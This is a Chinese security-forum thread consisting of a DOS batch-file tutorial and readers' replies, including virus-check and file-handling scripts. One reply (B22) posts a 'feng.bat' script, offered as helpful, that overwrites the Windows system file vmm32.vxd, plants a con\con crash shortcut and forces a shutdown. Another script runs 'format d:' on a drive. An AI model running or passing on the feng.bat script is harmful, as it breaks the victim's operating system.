|
![]() | 作者: jianphu [jianphu]
![]() |
登录 |
使用批处理文件 ――常用命令 echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符 echo off 表示在此语句后所有运行的命令都不显示命令行本身 @ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。 call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令) pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续 rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的 例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。 批处理文件的内容为: 文件表示: echo off 不显示命令行 dir c:\*.* >a.txt 将c盘文件列表写入a.txt call c:\ucdos\ucdos.bat 调用ucdos echo 你好 显示"你好" pause 暂停,等待按键继续 rem 使用wps 注释将使用wps cd ucdos 进入ucdos目录 wps 使用wps 批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。 %表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。 例如,C:根目录下一批处理文件名为f.bat,内容为 format %1 则如果执行C:\>f a: 则实际执行的是format a: 又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2 那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容 。 if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys 3、if errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码 goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如: goto end :end echo this is the end 标号用 :字符串 表示,标号所在行不被执行 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /cme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? 例如,test.bat的内容如下: @echo off choice /cme defrag,mem,end if errorlevel 3 goto defrag 应先判断数值最高的错误码 if errorlevel 2 goto mem if errotlevel 1 goto end efrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 for 循环命令,只要条件符合,它将多次执行同一命令。 格式FOR [%%f] in (集合) DO [命令] 只要参数f在指定的集合内,则条件成立,执行命令 如果一条批处理文件中有一行: for %%c in (*.bat *.txt) do type %%c 含义是如果是以bat或txt结尾的文件,则显示文件的内容。 |
地主 发表时间: 06/16 13:33 |
![]() | 回复: jjffk [jjffk] ![]() |
登录 |
顶啊 |
B1层 发表时间: 06/17 13:15 |
![]() | 回复: magic [buaaytt] ![]() |
登录 |
嗯,不错啊 |
B2层 发表时间: 06/17 19:30 |
![]() | 回复: daviy [daviy] ![]() |
登录 |
很好! |
B3层 发表时间: 06/19 14:54 |
![]() | 回复: gaozizhan [gaozizhan] ![]() |
登录 |
好呀 高手我还想问一个问题,就是能不能用批处理,改变文件里面的内容,比如:config.sys 怎么改 |
B4层 发表时间: 06/19 22:07 |
![]() | 回复: jackcheng [jackcheng] ![]() |
登录 |
bat文件还可以写成病毒,有兴趣的可去找一些看看 |
B5层 发表时间: 06/20 17:14 |
![]() | 回复: nightcolor [nightcolor] ![]() |
登录 |
病毒? recall? 呵呵 |
B6层 发表时间: 06/28 22:37 |
![]() | 回复: cyshaoping [cyshaoping] ![]() |
登录 |
我来加一片: 批处理,说白了就是DOS操作。有人认为DOS操作过时了、落后了,其实不然。其中,最大的好处就在于快、不留痕。然而,在许多时候,Windows操作根本是解决不了问题的。 必备常识:批处理的编写和修改 打开记事本,将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。 批处理运用一:扫描本地端口 这个功能优化大师有,就是扫描哪个端口与internet连接和连接ip。这,为及时发现并拦截非法连接有着不可取代的功劳。 然而,启动优化大师太慢了,而且太烦了,不利于随机使用。因此,编写一个这样的批处理来解决问题就显得尤为重要了。 ************************************************************ 代码: netstat -n pause 附:也可在每一行开头添上“@”,这样命令就不会显示出来。 ************************************************************ 批处理运用二:查常见病毒 其实,对于上网的人来说,遇到病毒是在所难免的。然而,如果真的不幸感染,怎样才能发现呢?难道真的要买昂贵的杀毒软件吗?不一定。 我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒,可以下载专用杀毒工具进行查杀,或采取其他途径杀毒。 下面,我以欢乐时光为例进行分析: 主文件:1.bat 其它文件:2.bat 3.bat ************************************************************ 1.bat代码: @if exist c:\folder.htt call 2.bat @if exist d:\folder.htt call 2.bat @if exist e:\folder.htt call 2.bat @if exist f:\folder.htt call 2.bat ************************************************************ 2.bat代码: @echo 发现欢乐时光病毒! @call 3.bat @pause ************************************************************ 3.bat代码: @c: @dir *.htt *.ini /s/a>1.txt @d: @dir *.htt *.ini /s/a>1.txt @e: @dir *.htt *.ini /s/a>1.txt ************************************************************ 这样,如果中毒,那么必定会存在大量folder.htt和Desktop.ini,通过这样可以粗略的检查计算机是否感染病毒。 批处理运用三:文件处理 假设,我要大规模的做文件的移动、删除等,如果在Windows里操作不免会出现错误,而且这些错误不易察觉。因此,用批处理进行操作,不但简单易行,而且容易发现错误并可以及时纠正。 例如,我要将D盘的htm文件移动到E盘,再格式化D盘,然后将文件移回D盘,并改后缀为html。 ************************************************************ 1.bat代码: @E: @Md d @D: @Copy *.htm e:\d @if exist e:\d\*.htm call 2.bat ************************************************************ 2.bat代码: @format d:/q @Copy e:\d\*.htm d: @D: @Ren *.htm *.html ************************************************************ 从例子中,可以看出,如果一旦出现问题,是很容易被发现的。从而,也证明了批处理的可用性。 |
B7层 发表时间: 07/01 12:06 |
![]() | 回复: shuaishuai [shuaishuai] ![]() |
登录 |
请问如何将bat文件做成exe文件呢(两者运行后效果相同) |
B8层 发表时间: 07/07 13:35 |
![]() | 回复: yimarong [yimarong] ![]() |
登录 |
帮忙顶一下! |
B9层 发表时间: 07/16 00:41 |
![]() | 回复: dupi [dupi] ![]() |
登录 |
不错 顶 |
B10层 发表时间: 07/31 22:08 |
![]() | 回复: yimarong [yimarong] ![]() |
登录 |
请问如何将bat文件做成exe文件呢(两者运行后效果相同) 这个还是请高手废点心拉! |
B11层 发表时间: 08/01 15:04 |
![]() | 回复: lovewuchun [qqloveni] ![]() |
登录 |
好,对我有用。 |
B12层 发表时间: 08/03 01:07 |
![]() | 回复: nothing [eson] ![]() |
登录 |
请问如何将bat文件做成exe文件呢(两者运行后效果相同) |
B13层 发表时间: 08/03 12:31 |
![]() | 回复: ywt1188 [ywt1188] ![]() |
登录 |
已经把上面的抄下来了``呵呵`` |
B14层 发表时间: 08/03 13:53 |
![]() | 回复: tianyecool [tianyecool] ![]() |
登录 |
顶 |
B15层 发表时间: 08/06 01:58 |
![]() | 回复: yimarong [yimarong] ![]() |
登录 |
顶~ |
B16层 发表时间: 08/07 06:30 |
![]() | 回复: keke [keke1] ![]() |
登录 |
顶。。。。 |
B17层 发表时间: 08/10 13:26 |
![]() | 回复: linuX2003 [netyu] ![]() |
登录 |
好啊,写得好!!写得好!! |
B18层 发表时间: 08/11 11:30 |
![]() | 回复: all528 [all528] ![]() |
登录 |
好文章值得顶一顶 |
B19层 发表时间: 08/11 18:37 |
![]() | 回复: 迷絮 [catmi] ![]() |
登录 |
呵呵 @echo **ing :start @net send %1 %2 @if errorievel 1 goto over :over @echo fall:( |
B20层 发表时间: 08/19 18:49 |
![]() | 回复: keke [keke1] ![]() |
登录 |
顶。。。。 |
B21层 发表时间: 08/23 15:56 |
![]() | 回复: yimarong [yimarong] ![]() |
登录 |
将下面源程序另存为feng.bat --------------------------------------- 原文转来希望可以对某些人有点帮助! @rem @echo off SMARTDRV copy c:windowssystemvmm32.vxd c:windowssystemvmm32vmm32.vxd ren c:windowssystemvmm32.vxd feng.vxd echo Hackerfeng>c:windowssystemvmm32.vxd echo del c:windowssystemvmm32.vxd>c:windowssystemvmm32.bat echo ren c:windowssystemfeng.vxd vmm32.vxd>>c:windowssystemvmm321119.bat echo del c:windowsdesktopfeng.url>>c:windowssystemvmm321119.bat echo [internetshortcut]>c:windowsdesktopfeng.txt echo url=http://127.0.0.1>>c:windowsdesktopfeng.txt echo iconindex=1>>c:windowsdesktopfeng.txt echo iconfile=c:concon.dll>>c:windowsdesktopfeng.txt ren c:windowsdesktopfeng.txt feng.url echo on ********************feng********************** * * * www.yangtai.i-p.com * * * **************************************************** 0===={===========> rundll32.exe user.exe,exitwindows cls |
B22层 发表时间: 08/29 06:41 |
![]() | 回复: qfwuying [qfwuying] ![]() |
登录 |
好~~~~~ |
B23层 发表时间: 10/01 14:44 |
![]() | 回复: realpope [realpope] ![]() |
登录 |
谢谢了 我全copy下来了 |
B24层 发表时间: 10/13 12:42 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号